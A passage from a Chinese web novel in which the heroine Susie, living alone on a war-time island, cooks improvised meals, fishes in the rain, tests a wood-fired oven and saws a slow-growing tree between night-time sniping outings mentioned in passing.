蜡烛燃尽,炉子还有一点点微光,再添几块木炭。苏茜躺在床上,盖着毯子,褥子是“奢侈”的羊毛皮,亚麻床单略粗糙但质感十足,就这样脑袋里转过各种念头,设想无数种场景,在天空呈现出蓝黑色时才睡着。
“罪魁祸首”的苏茜并不知道敌人那边有两个人受伤,一个严重得快死了,另一个是穿透的“轻伤”,“只需要”养伤一个月。那边真的以为有两名狙击手,将三个自己人打成一死一伤。确切地说,那个一击毙命后又听见两声木仓响的狙击手也以为是战友同时开火,还高兴两个人朝不同的方向撤退更有效。
她更不知道自己这个每次只在夜间开两木仓的习惯,后来算是闯出了小名气。
一觉醒来,已是阳光偏西,又饿又渴、嫌热踢开毛毯还想上厕所。烧开水,洗脸刷牙,拿昨晚做好还没变质的剩下半个披萨当今天的早中晚餐,开水好了直接泡茶,蘸点茶水将干硬的饼皮吞下。所以她这披萨做得挺糟的,西红柿酱太多,跟同样太多蔬果味道上不太搭。还是做短面条吧,切成粗短的形状,多煮一会,用勺子舀着吃。由于她顺来的食物里没有通心粉这类好存放东西,只能用全麦面粉做各种匪夷所思的食物。呃,听说还有一种直接在水里下面粉的面食?她回忆了半天也没想起来具体怎么做,但打算试试。
修炼后练习武技招式刀法,然后洗漱睡觉。
次日早上起来,突然不想弄烤炉了。
用小圆炉子烧了一小锅水,水开了,苏茜也犹豫了。直接倒面粉,会糊吧?然后这锅要清理半天!她转了个顺序,将开水倒入放面粉的瓷盆里,轻松搅合成,面团?幸好刚才顺序没搞错。那么这个面团要怎么吃?想了会儿,干脆再烧一锅水,烧开后用这个面团捏出一个个形状大小不均的小块扔进水里煮,不放心地小火煮了半小时——烧煤块的小圆炉子调节大小火候也略麻烦——面块都浮在水面上,应该熟了。漏勺舀出来,再倒掉大部分面汤水,然后放入牛肉罐头豌豆罐头和海带干,再将面块全部回锅,搅拌,拿起来,换上一锅清水慢慢烧开。
锅就当碗了,反正她有好几箱子锅,铁锅陶锅钢锅。这些东西她不拿走的话,不是炸毁就是被敌人用掉,反正下场都不好,还不如她用着。
上午十点半,苏茜好不容易将一锅滋味奇奇怪怪的水陆综合面块吃掉,很撑,但说不上好吃,就是换换口味。
吃完,继续捕鱼去。天气转凉,还下雨,这种天不是出海的好时候,可她需要新鲜美味蛋白质,不能只吃齁咸的罐头。何况这渔网不错。
防雨斗篷在海上的风雨浪头里什么用都没有。三小时后,苏茜一身湿冷地带着一桶收获回来。
这个身体因为地域的关系,不怎么畏冷。所以在烤火泡澡热红茶烤土豆水果罐头之后,连喷嚏都没打。
海鱼海虾被捞出来放在炉子上方,经过一晚上的烘烤,水分大部分没了,盐分析出来。唯一最后剩下的一只倒霉的海蟹还在海水里吐泡泡,被早上起来心情不错的苏茜做了海水煮海蟹,还加了一点海带干。这里没有葱姜料酒,她只倒了些伏特加,用原始的法子解决食材问题。
说实话,因为特别新鲜,所以腥味不太重,倒是海水里捞出来的海带非常难吃,勉强嚼了一半就扔了。
现在的食材也发挥不了厨艺。所以她大部分的研究精神都放在大烤炉上。这种炉子跟之前英伦时用的不一样,所以她试着不关炉门,在炉腔里烧木头的同时,在一边放食材。有好几种不同做法的,比如馕饼、全麦包、蛋糕、发酵水果馅料面团,还没彻底烤好的鱼干虾干,还有一壶红茶。
岛上风景看过很多很多,早就熟悉得不行。
成林的火灵木成长极缓慢,但确实在长,最高的树干部分已经有五米高了,加上细枝和树叶将近六米。苏茜试着锯过,爬着梯子上去用手工锯锯了两个小时,累得要命才切开一半,另一半两天后锯,最后才锯下来。希望岛上的风能帮忙完成其他火灵木的砍伐工作吧,虽然目前看起来一点用也没有,也不知道什么时候能用到发电机和电锯。现在是有柴油发电机,可都是大型设备,根本别想民用,可能得解体后买进口货——那时买了也没用,因为有可能因为没有柴油而限制几百年变成垃圾,以前的好几台发电机都是这样的下场。
一个小时后,烤炉里几小块木头烧得差不多,食材陆陆续续取出来一大半。有成功,有失败。效果最好的居然是全麦包和虾干,以及茶。
茶叶品质很一般,但这样煮滋味很不错。
清理掉炉膛。还是用最便宜的煤炉吧,蒸一下罐头肉和蔬菜,乱七八糟的鱼干……明天凌晨开始吃掉吧!
天快黑了。
可以准备出去猎杀或被猎杀了。